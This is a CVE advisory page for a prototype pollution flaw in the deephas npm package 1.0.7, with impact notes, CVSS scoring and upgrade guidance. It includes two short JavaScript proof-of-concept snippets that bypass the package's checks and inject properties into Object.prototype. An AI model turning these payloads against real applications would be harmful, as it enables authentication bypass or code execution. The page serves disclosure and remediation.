Loading...
Skip to main content

CVE-2026-25047 — Vulnerability in deephas — CVE Details

CRITICAL

deepHas vulnerable to Prototype Pollution via constructor.prototype

Published January 29, 2026Updated February 28, 2026Source: osv

Summary

### Summary A prototype pollution vulnerability exists in version 1.0.7 of the deephas npm package that allows an attacker to modify global object behavior. This issue was fixed in version 1.0.8. ### Details The vulnerability resides in the `add()` function and `indexer()` function implemented within `deepHas.js`. Although version 1.0.7 attempts to prevent prototype pollution by checking property ownership (e.g., using Object.hasOwnProperty) and by checking against forbidden string usage (using String.prototype.indexOf), this check can be bypassed as shown in the PoC By doing so, an attacker can inject properties into Object.prototype through a payload such as constructor.prototype.polluted or __proto__.polluted resulting in prototype pollution. This issue affects all JavaScript runtimes that rely on npm packages (including Node.js, Deno, and Bun) and is independent of the operating system. ### PoC #### Steps to reproduce 1. Install version 1.0.7 of `deephas` using npm install 2. Run one of the following code snippets: ```javascript //PoC 1 Object.prototype.hasOwnProperty = () => true; console.log({}.polluted); const dh = require('deephas'); let obj = {}; dh.set(obj, 'constructor.prototype.polluted', 'yes'); console.log('{ ' + obj.polluted + ', ' + 'yes' + ' }'); // prints yes => the patch is bypassed and prototype pollution occurred ``` OR ```javascript //PoC 2 String.prototype.indexOf = () => -1; console.log({}.polluted); const dh = require('deephas'); let obj = {}; dh.set(obj, '__proto__.polluted', 'yes'); console.log('{ ' + obj.polluted + ', ' + 'yes' + ' }'); // prints yes => the patch is bypassed and prototype pollution occurred ``` #### Expected behavior Prototype pollution should be prevented and {} should not gain new properties. This should be printed on the console: ``` undefined undefined OR throw an Error ``` #### Actual behavior Object.prototype is polluted and the property polluted becomes globally accessible. This is printed on the console: ``` undefined yes ``` ### Impact This is a prototype pollution vulnerability, which can have severe security implications depending on how deephas is used by downstream applications. Any application that processes attacker-controlled input using `deephas.set` may be affected. It could potentially lead to the following problems: 1. Authentication bypass 2. Denial of service 4. Remote code execution (if polluted property is passed to sinks like eval or child_process)

Advisory Timeline

  • First published January 29, 2026 (256 days ago).
  • Last revised February 28, 2026 — 29 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

npm
Update deephas to 1.0.8 or later
npm install deephas@1.0.8

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: npm (1).

PackageEcosystemAffectedFixed In
deephas
npm
All versions1.0.8

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-1321
    Prototype PollutionMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.3 score means for each attack dimension.

Attack Vector
Local
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
—
Confidentiality
—
Integrity
—
Availability
—

CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Frequently Asked Questions

What is CVE-2026-25047?
deepHas vulnerable to Prototype Pollution via constructor.prototype This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.3/10).
How do I check if my project is affected by CVE-2026-25047?
CVE-2026-25047 affects deephas. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-25047 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.3

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-2733-6c58-pf27

Related CVEs

  • CVE-2026-107722
    CRITICAL

    fast-jwt: Incomplete patch of CVE-2026-34950: Non-whitespace key-prefix re-enables RSA→HS256 algorithm confusion

  • CVE-2026-108261
    CRITICAL

    TinaCMS admin preview iframe loads an attacker-controlled origin from the URL fragment

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies